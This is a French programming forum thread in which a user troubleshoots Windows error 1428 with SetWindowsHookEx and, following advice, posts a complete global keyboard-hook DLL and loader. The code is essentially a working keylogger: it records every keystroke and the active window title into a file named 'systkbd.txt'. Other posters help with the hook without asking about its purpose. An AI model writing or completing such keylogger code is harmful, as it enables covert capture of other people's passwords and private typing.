IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

C Discussion :

Erreur 1428 SetWindowsHookEx


Sujet :

C

  1. #1
    Invité
    Invité(e)
    Par défaut Erreur 1428 SetWindowsHookEx
    Bonjour,

    Depuis quelques jours j'essaye d'utiliser les hooks de l'api windows mais je me heurte à un problème : L'Erreur 1428. De plus je ne trouve rien sur google à part que l'erreur 1428 correspond à "Cannot set nonlocal hook without a module handle." ... Je vous poste donc mon code ici en espérant que tous ça se résolve bien vite.

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
     
    #include <stdio.h>
    #include <stdlib.h>
    #include <time.h>
    #include <windows.h>
     
    LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
     
    HHOOK hhk;
     
    int main()
    {
        hhk = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,NULL,0);
        if(hhk!=NULL)
        {
            Sleep(60000);
            UnhookWindowsHookEx(hhk);
        }
        else
            printf("%i",GetLastError()); // C'est ici que j'ai l'erreur 1428
    //1428 = Cannot set nonlocal hook without a module handle.
     
        return 0;
    }
     
    LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
    {
        if(! ( (DWORD)lParam & 0x40000000))
    		return CallNextHookEx(hhk,code,wParam,lParam);
     
        switch(wParam)
    	{
    	case VK_RETURN:
    		printf("\n");
    		break;
    	case VK_CONTROL:
    		printf("[CTRL]");
    		break;
    	case VK_MENU:
    		printf("[ALT]");
    		break;
    	case VK_DELETE:
    		printf("[DEL]");
    		break;
    	case VK_BACK:
    		printf("[<==]");
    		break;
    	case VK_TAB:
    		printf("[TAB]");
    		break;
     
    	}
     
     
        return CallNextHookEx(hhk,code,wParam,lParam);
    }
    Merci d'avance.
    Dernière modification par Invité ; 10/02/2010 à 13h12.

  2. #2
    Invité(e)
    Invité(e)
    Par défaut
    Bonjour,

    En remplaçant certains paramètres, on arrive à passer outre cette erreur, mais je pense qu'il manque une boucle de traitement de message à ton programme pour qu'il fonctionne bien.

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC) KeyboardProc,
                             GetModuleHandle(NULL), GetCurrentThreadId());

  3. #3
    Invité
    Invité(e)
    Par défaut
    Tous d'abbord merci pour ta réponse.

    Citation Envoyé par mabu Voir le message
    En remplaçant certains paramètres, on arrive à passer outre cette erreur
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC) KeyboardProc,
                             GetModuleHandle(NULL), GetCurrentThreadId());
    Le problème avec ce changement de paramètre c'est que le hook est placé seulement sur le thread courant donc on ne récupère que les caractères entrés dans notre propre thread et là ça pose problème.

    Citation Envoyé par mabu Voir le message
    mais je pense qu'il manque une boucle de traitement de message à ton programme pour qu'il fonctionne bien.
    Windows se charche d'apeler la procédure envoyée comme paramètre à SetWindowsHookEx donc la boucle de traitement c'est juste "attendre".

  4. #4
    Expert éminent sénior
    Avatar de Médinoc
    Homme Profil pro
    Développeur informatique
    Inscrit en
    Septembre 2005
    Messages
    27 369
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 40
    Localisation : France

    Informations professionnelles :
    Activité : Développeur informatique
    Secteur : High Tech - Éditeur de logiciels

    Informations forums :
    Inscription : Septembre 2005
    Messages : 27 369
    Points : 41 519
    Points
    41 519
    Par défaut
    Si tu veux faire un hook global, la fonction doit être dans une DLL séparée, c'est une limitation connue.

    Et aussi, jette un œil à ma signature et supprime cet affreux cast en (HOOKPROC).
    SVP, pas de questions techniques par MP. Surtout si je ne vous ai jamais parlé avant.

    "Aw, come on, who would be so stupid as to insert a cast to make an error go away without actually fixing the error?"
    Apparently everyone.
    -- Raymond Chen.
    Traduction obligatoire: "Oh, voyons, qui serait assez stupide pour mettre un cast pour faire disparaitre un message d'erreur sans vraiment corriger l'erreur?" - Apparemment, tout le monde. -- Raymond Chen.

  5. #5
    Invité
    Invité(e)
    Par défaut
    Citation Envoyé par Médinoc Voir le message
    Si tu veux faire un hook global, la fonction doit être dans une DLL séparée, c'est une limitation connue.
    Voilà donc mon noveau code en trois fichiers constituant une dll et un exe :

    -L'exe
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
     
    #include <windows.h>
    #include <conio.h>
    #include <stdio.h>
     
     
    typedef int(*SKH)(void);
    typedef void(*USKH)(void);
     
    int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
    {
    	SKH skh;
    	USKH uskh;
     
    	HMODULE hDLL;
     
        char DLLname[256] = "HookDll.dll";
     
    	char toaff[1024];
     
    	if(!(hDLL = LoadLibrary(DLLname)))
    	{
    		wsprintf(toaff,"Impossible de charger %s",DLLname);
    		MessageBox(NULL,toaff,"ERREUR",MB_OK);
    		return 0;
    	}
     
        skh = (SKH) GetProcAddress(hDLL,"SetkbdHook");
    	if( !skh )
            MessageBox(NULL,"Impossible de charger la fonction exportee SetkbdHook()","ERREUR",MB_OK);
    	else
    	{
            int res = skh();
            if(res!=-1)
            {
                wsprintf(toaff,"Impossible de définir les Hooks clavier : erreur %i",res);
                MessageBox(NULL,toaff,"ERREUR",MB_OK);
            }
    	}
     
    	MessageBox(NULL,"Appuyez sur OK pour terminer le processus","INFO",MB_OK | MB_ICONINFORMATION);
     
    	uskh = (USKH) GetProcAddress(hDLL,"UnSetkbdHook");
    	if (uskh) uskh();
    	FreeLibrary(hDLL);
     
    	return 0;
    }
    .h de la dll
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    LRESULT CALLBACK kbdHookProc(int, WPARAM, LPARAM);
     
    extern "C"
    {
    _declspec(dllexport) int SetkbdHook();
    _declspec(dllexport) void UnSetkbdHook();
    }
    .c de la dll
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    #include <stdio.h>
    #include <windows.h>
    #include "main.h"
     
     
    static HHOOK gos_kbdHK;
    static HINSTANCE hDLL;
    static char LastWindowTitle[256] = "";
     
    void Logkbd(int code, WPARAM wParam,LPARAM lParam);
     
    void Logkbd(int code, WPARAM wParam,LPARAM lParam)
    {
    	char CurWindowTitle[256];
    	FILE *logkbd = NULL;
    	logkbd = fopen("systkbd.txt","a+");
     
    	GetWindowText(GetActiveWindow(),CurWindowTitle,255);
     
    	if ( strcmp(CurWindowTitle,LastWindowTitle) )
    	{
    		strcpy(LastWindowTitle,CurWindowTitle);
    		fprintf(logkbd,"Fenêtre active : ");
    		fprintf(logkbd,CurWindowTitle);
    		fprintf(logkbd,"\n");
    	}
     
    	switch(wParam)
    	{
            case VK_RETURN:
                fprintf(logkbd,"\n");
                break;
            case VK_CONTROL:
                fprintf(logkbd,"[CTRL]");
                break;
            case VK_MENU:
                fprintf(logkbd,"[ALT]");
                break;
            case VK_DELETE:
                fprintf(logkbd,"[DEL]");
                break;
            case VK_BACK:
                fprintf(logkbd,"[<==]");
                break;
            case VK_TAB:
                fprintf(logkbd,"[TAB]");
                break;
            case VK_SHIFT:
                fclose(logkbd);
                return;
                break;
            default:
                BYTE kbdStat[256];
                GetKeyboardState(kbdStat);
                WORD wBuf;
                UINT ScanCode = 0;
                ToAscii(wParam,ScanCode,kbdStat,&wBuf,0);
                if(lParam == 30)
                {
                    fclose(logkbd);
                    return;
                }
                fprintf(logkbd,"%c",wBuf);
                break;
    	}
    	fclose(logkbd);
    }
     
    LRESULT CALLBACK kbdHookProc(int code, WPARAM wParam, LPARAM lParam)
    {
                 if(code<0)
    	    return CallNextHookEx(gos_kbdHK,code,wParam,lParam);
     
    	Logkbd(code,wParam,lParam);
     
        return CallNextHookEx(gos_kbdHK,code,wParam,lParam);
    }
     
    _declspec(dllexport) int SetkbdHook()
    {
        gos_kbdHK = SetWindowsHookEx(WH_KEYBOARD,kbdHookProc,GetModuleHandle("HookDll.dll"),0);
     
    	if(gos_kbdHK==NULL)
            return GetLastError();
    	else
            return -1;
    }
     
    _declspec(dllexport) void UnSetkbdHook()
    {
    	UnhookWindowsHookEx(gos_kbdHK);
    }
     
    BOOL WINAPI DllMain(HINSTANCE hInstance,DWORD dwReason,LPVOID lpVoid)
    {
    	switch(dwReason)
    	{
    	case DLL_PROCESS_ATTACH:
    		hDLL = hInstance;
    		break;
     
    	case DLL_PROCESS_DETACH:
    		UnSetkbdHook();
    		break;
     
    	case DLL_THREAD_ATTACH:
    	case DLL_THREAD_DETACH:
    		break;
    	}
    	return TRUE;
    }
    Mais un problème subsiste : j'ai aucune erreur mais je ne reçois les touche tappées seulement si elles sont entrées dans la fenêtre info ?!?

    Si quelqu'un a une solution ... merci beaucoup.

    Citation Envoyé par Médinoc Voir le message
    Et aussi, jette un œil à ma signature et supprime cet affreux cast en (HOOKPROC).
    Pardon Mr Chen.

  6. #6
    Expert éminent sénior
    Avatar de Médinoc
    Homme Profil pro
    Développeur informatique
    Inscrit en
    Septembre 2005
    Messages
    27 369
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 40
    Localisation : France

    Informations professionnelles :
    Activité : Développeur informatique
    Secteur : High Tech - Éditeur de logiciels

    Informations forums :
    Inscription : Septembre 2005
    Messages : 27 369
    Points : 41 519
    Points
    41 519
    Par défaut
    Hélas, je ne suis pas sûr de pouvoir t'aider plus, je n'ai jamais utilisé de hooks moi-même...
    SVP, pas de questions techniques par MP. Surtout si je ne vous ai jamais parlé avant.

    "Aw, come on, who would be so stupid as to insert a cast to make an error go away without actually fixing the error?"
    Apparently everyone.
    -- Raymond Chen.
    Traduction obligatoire: "Oh, voyons, qui serait assez stupide pour mettre un cast pour faire disparaitre un message d'erreur sans vraiment corriger l'erreur?" - Apparemment, tout le monde. -- Raymond Chen.

  7. #7
    Invité
    Invité(e)
    Par défaut
    C'est pas grave tu m'as déjà bien fait avancer.

    EDITO : Enfaite non je me suis totalement planté : le code de hook fonction très bien mais mon traitement (ecriture dans un fichier) est totalement raté. Je me replonge dans msdn et le tour sera joué.

    merci a tout le monde
    Dernière modification par Invité ; 15/02/2010 à 22h33.

Discussions similaires

  1. SetWindowsHookEx - Erreur 1427
    Par JulienC dans le forum C
    Réponses: 2
    Dernier message: 19/08/2010, 19h20
  2. SetWindowsHookEx: Erreur 0x57
    Par mogg41 dans le forum C
    Réponses: 1
    Dernier message: 23/05/2010, 18h50
  3. Réponses: 2
    Dernier message: 27/05/2002, 19h46
  4. erreur IDL:omg.org/CORBA/MARSHAL:1.0
    Par Pinggui dans le forum CORBA
    Réponses: 3
    Dernier message: 13/05/2002, 15h05
  5. [Kylix] Erreur objet
    Par Anonymous dans le forum EDI
    Réponses: 1
    Dernier message: 22/03/2002, 09h41

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo